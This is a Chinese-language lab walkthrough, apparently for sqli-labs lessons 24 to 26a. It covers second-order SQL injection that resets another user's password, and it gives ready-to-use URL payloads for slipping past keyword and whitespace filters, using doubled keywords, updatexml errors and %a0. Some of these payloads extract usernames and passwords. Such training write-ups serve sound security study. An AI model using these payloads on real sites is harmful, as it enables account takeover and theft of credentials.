lesson24_26a

lesson 24 second order injection(二次注入)

第一步:插入恶意数据

第一次进行数据库插入数据的时候 ,仅仅对其中的特殊符号进行转移,在写入数据库的时候还是保留的原来的数据,但是数据本身包含恶意内容。

第二步:引用恶意数据

在将数据存入数据库后,开发者认为数据是可信的,在下一次需要进行的查询的时候,直接从数据库中提取出恶意的数据,没有进行进一步的审查和处理,就会造成sql的二次注入

QQ截图20220210114019.png

一开始有一个普通用户

QQ截图20220210130715.png

账号:admin

密码:admin

然后我们(黑客)注册一个新的账号

QQ截图20220210130845.png

账号:admin’#

密码:123456

然后登入修改密码。

QQ截图20220210131006.png

QQ截图20220210131200.png

然后当我们用admin的帐号登入时,发现密码被恶意修改了

QQ截图20220210131303.png

这里就是在我们用admin‘#的账号修改密码时,数据库提取我们的恶意数据没有进行转意使得原本用来修改密码的语句:

UPDATE users SET PASSWORD=’$pass’ where username=’admin’#’ and password=’&curr_pass’

变成了

UPDATA users SET PASSWORD=’$pass’ where username=’admin’

导致密码被修改。。。。

lesson25

黑名单里面 ‘or’ ‘and’被过滤了

QQ截图20220210131449.png

用双写来绕过

数据库

?id=-1’ union select 1,database(),3 anandd ‘1’=’1

QQ截图20220210163701.png

?id=-1’ union select 1,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema=’security’),3 anandd ‘1’=’1

QQ截图20220210165641.png

?id=-1’ union select 1,(select group_concat(column_name) from infoorrmation_schema.columns where table_name=’users’),3 anandd ‘1’=’1

QQ截图20220210170055.png

字段

?id=-1’ union select 1,(select group_concat(concat_ws(‘@@’,id,username,passwoorrd))from users),3 anandd ‘1’=’1

QQ截图20220210171358.png

PS:information和password里面都有or要双写。

lesson 25a

与上一关相同

同样的黑名单过滤了or和and

就是闭合不同。。。

lesson26

QQ截图20220210173023.png

查库

?id=1’||updatexml(1,concat(0x7e,(database())),1)||’1’=’1

QQ截图20220210221443.png

查表

?id=1’||updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=’security’))),1)||’1’=’1

QQ截图20220210221611.png

查列

?id=1’||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name=’users’))),1)||’1’=’1

QQ截图20220210221718.png

字段

?id=1’||updatexml(1,concat(0x7e,(select (group_concat(concat_ws(0x7e,username,passwoorrd))) from (security.users) )),1)||’1’=’1

QQ截图20220210230328.png

%a0也可以充当空格,注释符可以用;%00或者||’1’=’1

lesson 26a

黑名单一样只是闭合多了括号

因为没有报错信息,所以我们只能用联合查询

黑名单中对空格做了过滤,所以我们可以用%a0来代替空格

基本与lesson26相同

?id=1’) %a0 union %a0 select%a0 1,2,3 || (‘1’)=(‘1